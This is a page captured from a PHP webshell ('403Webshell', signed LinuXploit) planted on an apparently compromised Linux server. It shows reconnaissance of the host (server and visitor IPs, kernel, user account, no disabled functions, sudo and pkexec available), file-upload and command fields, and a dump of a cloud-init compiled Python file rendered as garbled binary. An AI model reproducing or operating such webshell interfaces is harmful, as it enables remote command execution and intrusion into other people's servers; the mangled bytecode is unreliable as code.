403Webshell
Server IP : 188.114.97.3  /  Your IP : 216.73.216.30
Web Server : LiteSpeed
System : Linux vmi2710904 5.15.0-144-generic #157-Ubuntu SMP Mon Jun 16 07:33:10 UTC 2025 x86_64
User : rarch5794 ( 1006)
PHP Version : 8.1.32
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : ON
Directory :  /lib/python3/dist-packages/cloudinit/__pycache__/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /lib/python3/dist-packages/cloudinit/__pycache__/atomic_helper.cpython-310.pyc
o

x[h,�@s�ddlZddlZddlZddlZddlZddlmZmZddlm	Z	m
Z
dZe�e
�Ze	�d�dd��Ze	�d�d	d
��Zeddfd
d�Zeddfdd�Zdd�Ze	�d�dd��Zefdd�ZdS)�N)�	b64decode�	b64encode)�performance�utili�zBase64 decodingcCs,t|�}z|�d�WSty|YSw)z�base64 decode data

    :param source: a bytes or str to decode
    :return: base64 as a decoded str if utf-8 encoded, otherwise bytes
    �utf-8)r�decode�UnicodeDecodeError)�source�decoded�r�9/usr/lib/python3/dist-packages/cloudinit/atomic_helper.py�b64ds�r
zBase64 encodingcCs"t|t�s
|�d�}t|��d�S)zdbase64 encode data

    :param source: a bytes or str to decode
    :return: base64 encoded str
    r)�
isinstance�bytes�encoderr)r	rrr�b64es

r�wbFcCsDt�d|����t|||||�Wd�S1swYdS)zCopen filename in mode omode, write content, set permissions to modezWriting N)r�Timed�_write_file)�filename�content�mode�omode�
preserve_moderrr�
write_file*s$�rc	
Cs�|rz
t�|�}t�|j�}Wn	tyYnwd}z:tj�|�}t�|�t	j
|d|d�}t�d||j
||t|��|�|�|��t�|j
|�t�|j
|�WdStym}z|durgt�|j
�|�d}~ww)NF)�dir�deleterzOAtomically writing to file %s (via temporary file %s) - %s: [%o] %d bytes/chars)�os�stat�S_IMODE�st_mode�OSError�path�dirnamer�
ensure_dir�tempfile�NamedTemporaryFile�LOG�debug�name�len�write�close�chmod�rename�	Exception�unlink)	rrrrr�	file_stat�tfr#�errrr3s<
�
�
	��rcCs2zd�t|��WStyd�t|��YSw)z1Handler for types which aren't json serializable.z
ci-b64:{0}z)Warning: redacted unserializable type {0})�formatr�AttributeError�type)�_objrrr�json_serialize_defaultUs
�r8zDumping jsoncCstj|dddtd�S)z%Return data in nicely formatted json.�T)�,z: )�indent�	sort_keys�
separators�default)�json�dumpsr8)�datarrr�
json_dumps]s�rBcCst|t|�dd|d�S)N�
�w)rr)rrB)rrArrrr�
write_jsonis
�rE)r?�loggingrrr%�base64rr�	cloudinitrr�
_DEF_PERMS�	getLogger�__name__r'�timedr
rrrr8rBrErrrr�<module>s*



�

�"


Youez - 2016 - github.com/yon3zu
LinuXploit